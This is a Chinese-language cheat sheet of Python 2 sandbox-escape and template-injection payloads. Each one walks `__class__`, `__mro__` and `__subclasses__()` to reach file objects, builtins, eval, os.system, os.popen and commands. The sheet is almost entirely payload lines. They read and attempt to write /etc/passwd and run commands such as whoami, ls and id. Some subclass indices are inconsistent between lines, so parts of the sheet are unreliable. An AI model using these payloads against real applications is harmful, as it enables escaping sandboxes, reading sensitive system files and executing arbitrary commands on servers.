读写文件
读文件:
方法一
利用.index()模块
''.__class__.__mro__[2].__subclasses__().index(file)
方法二:
flie类:(在字符串的所属对象种获取str的父类,在其object父类种查找其所有子类,第41个为file类)
''.__class__.__mro__[2].__subclasses__()[40]('<File_To_Read>').read()
方法三:
字模块利用
_frozen_importlib_external.FileLoader类:(前置查询一样,第91个类)
''.__class__.__mro__[2].__subclasses__()[91].get_data(0,"<file_To_Read>")
方法四:
通过函数解析->基本类->基本类子类->重载类->引用->查找可用函数
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['file']('/etc/passwd').read()
写文件:
方法一:
''.__class__.__mro__[2].__subclasses__()[166].__init__.__globals__['__builtins__']['file']('/etc/passwd').write()
存在的子模块可以通过 .index() 来进行查询,如果存在的话返回索引,直接调用即可。
方法二:
[].__class__.__base__.__subclasses__()[40]('/etc/passwd').write()
命令执行
第一类
利用eval 进行命令执行。
''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['__builtins__']['eval']('__import__("os").popen("whoami").read()')
第二类
利用warnings.catch_warnings 进行命令执行
首先,查看 warnings.catch_warnings 方法的位置:
[].__class__.__base__.__subclasses__().index(warnings.catch_warnings)
查看 linecatch 的位置:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__.keys().index('linecache')
查找 os 模块的位置:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.keys().index('os')
查找 system 方法的位置:
[].__class__.__base__.__subclasses__()[166].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.keys().index('system')
调用 system 方法:
[].__class__.__base__.__subclasses__()[59].__init__.__globals__['linecache'].__dict__.values()[12].__dict__.values()[144]('whoami')
第三类
利用 commands 进行命令执行。
1.利用getstatusoutput模块
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['__builtins__']['__import__']('commands').getstatusoutput('ls')
2.利用system模块
{}.__class__.__bases__[0].__subclasses__()[166].__init__.__globals__['__builtins__']['__import__']('os').system('ls')
3.利用popen模块
{}.__class__.__bases__[0].__subclasses__()[59].__init__.__globals__.__builtins__.__import__('os').popen('id').read()